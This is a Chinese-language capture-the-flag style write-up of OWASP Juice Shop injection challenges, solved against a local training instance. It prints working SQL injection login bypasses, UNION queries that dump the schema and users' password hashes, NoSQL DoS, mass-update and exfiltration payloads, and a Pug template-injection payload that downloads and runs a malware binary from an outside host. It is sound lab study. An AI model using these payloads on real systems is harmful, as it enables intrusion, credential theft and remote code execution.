---
# System prepended metadata

title: Injection篇

---

# Injection篇

## [前言&安裝&記分板](https://hackmd.io/@numb2too/HkH6PdJdeg)

> 基本上都參(照)考(抄)此大佬做的
> https://github.com/Whyiest/Juice-Shop-Write-up/blob/main/4-stars/nosql_manipulation.md

後來發現有官方的[武功秘笈](https://help.owasp-juice.shop/appendix/solutions.html)

## Login Admin
```http=
http://localhost:3000/#/login
```
login頁面
Email直接下Sqli
payload如下
```payload=
administrator' or 1=1 --
```
下面一位~


也可以透過burpsuite針對
```http=
POST /rest/user/login HTTP/1.1
```
去做Repeater

在email測試`'`
```json=
{
    "email":"'",
    "password":"aa"
}
```
發現回傳500且有sqll error
```sql=
SELECT * FROM Users WHERE email = ''' 
AND password = '4124bc0a9335c27f086f24ba207a4912' 
AND deletedAt IS NULL
```
由此回傳可見此欄位存在sql injection
可以開打摟兄弟

隨便點一個products發現疑似admin的Email
`admin@juice-sh.op`
所以透過上面的Sql改組一下應該算過關了吧兄弟
```json=
{
    "email":"admin@juice-sh.op' --",
    "password":""
}
```
下面一位~

## Login Jim && Login Bender

這兩個也都透過上面的repeater改個email就過了
下面一位~

## Database Schema

透過SQLI找到DB的完整schema
透過剛剛的500回傳
我知道DB是sqlite

然後找找看哪個API可回傳資料
```http=
GET /rest/products/search?q= HTTP/1.1
```
抄作業直接告訴我這個API可以回傳
> 但這應該是經驗?
> 感覺應該是朝著哪個功能有查詢功能的那邊找
> 就能找到了?!

先開打再說
依樣repeater這個GET發現`q=%27--`報錯了
```sql=
SELECT * FROM Products 
WHERE ((name LIKE '%'--%' OR description LIKE '%'--%') 
        AND deletedAt IS NULL) 
        ORDER BY name
```
舒服, 這不就來了嗎兄弟們


payload
```payload=
%27%29%29--
```
可查到全部的Products
再來組我們要的db schema
> https://sqlite.org/schematab.html
> 可查Sqlite的語法

payload
```payload=
%27%29%29%20and%201%21%3D1%20union%20select%20sql%2Cname%2C1%2C1%2C1%2C1%2C1%2C1%2C1%20from%20sqlite_master%20where%20type%3D%27table%27--
```
下面一位~

其實不用這麼長
我把產品都過濾掉只看Table
簡單一點的話只要有`sqlite_master`就好了


> 用這個可以轉換urlencoder
> https://www.urlencoder.org/


## Christmas Special

要下單個已經下架的產品`Christmas special offer of 2014`

透過上一提可查到全部的Products，發現ID:10
```json=
{
    "id":10,
    "name":"Christmas Super-Surprise-Box (2014 Edition)"
}
```

再來找到下單的POST
```http=
POST /api/BasketItems/ HTTP/1.1

{
    "ProductId":1,
    "BasketId":"2",
    "quantity":1
}
```
這不就來了嗎
把ProductId改成10, 送出，下單
下面一位~

> 有些使用者好像沒有address還要新增麻煩
> jim是你的好選擇

## Ephemeral Accountant

使用（不存在的）會計師 acc0unt4nt@juice-sh.op 登錄，而無需註冊該用戶。
~~不能用這個email註冊後登入XD 因為腳色要是會計師~~

透過上面的payload我們找到USERS的Schema
```sql=
CREATE TABLE `Users` (
`id` INTEGER PRIMARY KEY AUTOINCREMENT, 
`username` VARCHAR(255) DEFAULT '', 
`email` VARCHAR(255) UNIQUE, 
`password` VARCHAR(255), 
`role` VARCHAR(255) DEFAULT 'customer', 
`deluxeToken` VARCHAR(255) DEFAULT '', 
`lastLoginIp` VARCHAR(255) DEFAULT '0.0.0.0', 
`profileImage` VARCHAR(255) DEFAULT '/assets/public/images/uploads/default.svg', 
`totpSecret` VARCHAR(255) DEFAULT '', 
`isActive` TINYINT(1) DEFAULT 1, 
`createdAt` DATETIME NOT NULL, 
`updatedAt` DATETIME NOT NULL, 
`deletedAt` DATETIME
)
```

透過payload
```payload=
'))%20and%201!%3d1%20union%20select%20role%2c1%2c1%2c1%2c1%2c1%2c1%2c1%2c1%20from%20users%20--
```
找到會計師角色為`accounting`

組一個USER的select注入login的email即可
```sql=
' union select * from (
select 
1 as 'id',
'a' as 'username',
'acc0unt4nt@juice-sh.op' as 'email',
'aa' as 'password',
'accounting' as 'role',
'' as 'deluxeToken',
'0.0.0.0' as 'lastLoginIp',
'/assets/public/images/uploads/default.svg' as 'profileImage',
'' as 'totpSecret',
1 as 'isActive',
'122222' as 'createdAt',
'133333' as 'updatedAt',
NULL as 'deletedAt'
) as aa --
```

下面一位~

## NoSQL DoS

讓server睡個覺

大老說這個API可能可以讓她睡覺?!
```http=
GET /rest/products/1/reviews HTTP/1.1
```

> 又是經驗談??


先打再說
mongodb睡覺指令`sleep(100)`<AI告訴我的
> 這邊要注意
> juice shop本身是使用sqlite
> 由於這題目是"模擬"nosql攻擊
> 所以指令才會使用mongodb的sleep指令去模擬達到睡眠的效果
> 實際上如果對Sqlite的服務使用sleep是沒用的


```http=
GET /rest/products/sleep(100)/reviews HTTP/1.1
```
打完收工  下面一位~


## NoSQL Manipulation

一次修改多個產品的評論

先找到修改評論的請求
```http=
PATCH /rest/products/reviews HTTP/1.1`

{
"id":"CoZvDLfHJmYrgDGjM",
"message":"aaabb"
}
```

目標是要**一次修改多筆評論**，所以要讓「id 匹配所有評論」。

使用 MongoDB 的 `$ne`（not equal）運算子

```json=
"id": {"$ne": null}
```

* `$ne` 是 MongoDB 的條件運算子，代表「不等於」。
* `"id": {"$ne": null}` 表示：「id 不為 null」的所有文件（幾乎全部）都會被更新。


> https://onecompiler.com/mongodb
> 可線上測試mongo語法


```json=
{
    "id":{
        "$ne":null
    },
    "message":"aaabb"
}
```
打完收工 下面一位~

## User Credentials

查所有USER的相關資料
用上面那個可查資料的請求
```http=
GET /rest/products/search?q= HTTP/1.1
```
找users內的password、email
```payload=
'))%20and%201!%3d1%20union%20select%20role%2cpassword%2cemail%2c1%2c1%2c1%2c1%2c1%2c1%20from%20users%20--
```
打完收工 下面一位~

## NoSQL Exfiltration

從 NoSQL DB 檢索所有使用者的訂單資料。


先找到查訂單的請求
```http=
GET /rest/order-history HTTP/1.1
```
這好像沒料
再找一個
```http=
GET /rest/track-order/ad9b-9c39c9d16008c53f HTTP/1.1
```
這好像有搞頭

來會會這個ID`ad9b-9c39c9d16008c53f`
改成`''` 發現回傳`Unexpected string`

因此大佬推測後端程式有可能是

```js!=
{ $where: "property === '" + payload + "'" }
```
> https://github.com/Whyiest/Juice-Shop-Write-up/blob/main/5-stars/nosql_exflitration.md
> 大佬來源

那就開打吧
```payload=
'%20%7c%7c%20true%20%7c%7c%20'
```
收工 下面一位~

## SSTi

把病毒上傳到server上並執行

病毒在這
```=
https://github.com/juice-shop/juicy-malware
```

或也可從這找到
```=
127.0.0.1:3000/#/ftp/quarantine
```

> https://github.com/Whyiest/Juice-Shop-Write-up/blob/main/6-stars/ssti.md
> 大佬提供的線索

從`https://github.com/juice-shop/juice-shop`
我們可發現`Pug: 0.4%`

Juice Shop GitHub 原始碼中顯示：**Profile（個人頁）使用 Pug 模板語言**（以前叫 Jade）
![image](https://hackmd.io/_uploads/B1RcksJdxl.png)


Pug 的語法會將 `#{}` 中的內容執行，像：

  ```pug
  p Hello #{user.username}
  ```

測試是否存在 SSTi
在個人設定頁（Profile），將使用者名稱改為 `#{1+1}`。
結果會顯示「2」，表示程式碼真的有執行，**確定存在 SSTi 漏洞**！

注入惡意 Payload
因為 Juice Shop 是 Node.js 寫的，所以可以透過 Node.js 的方式呼叫系統指令（與 `child_process` 模組）：

```pug
#{global.process.mainModule.require('child_process').exec('wget -O malware https://github.com/J12934/juicy-malware/blob/master/juicy_malware_linux_amd_64?raw=true && chmod +x malware && ./malware')}
```

payload：
利用 Node.js 的 `child_process.exec()` 執行 shell 指令
下載並執行惡意程式

打完收工 

![image](https://hackmd.io/_uploads/SyyUgiJuxx.png)

那就先告一段落搂XD


> 基本上都參(照)考(抄)此大佬做的
> https://github.com/Whyiest/Juice-Shop-Write-up/blob/main/4-stars/nosql_manipulation.md


話說為什麼有時重啟juice-shop `npm start`
之前打成功的紀錄會不見QQ
雖然會比較重要，但有時候記錄看了也很爽捏QQ
歸零了很難過QQ
~~injection全部重打了三次~~
~~原來是重啟server會問你要不要清除過關的cookie
我都很順手清除QQ 在打第四次~~
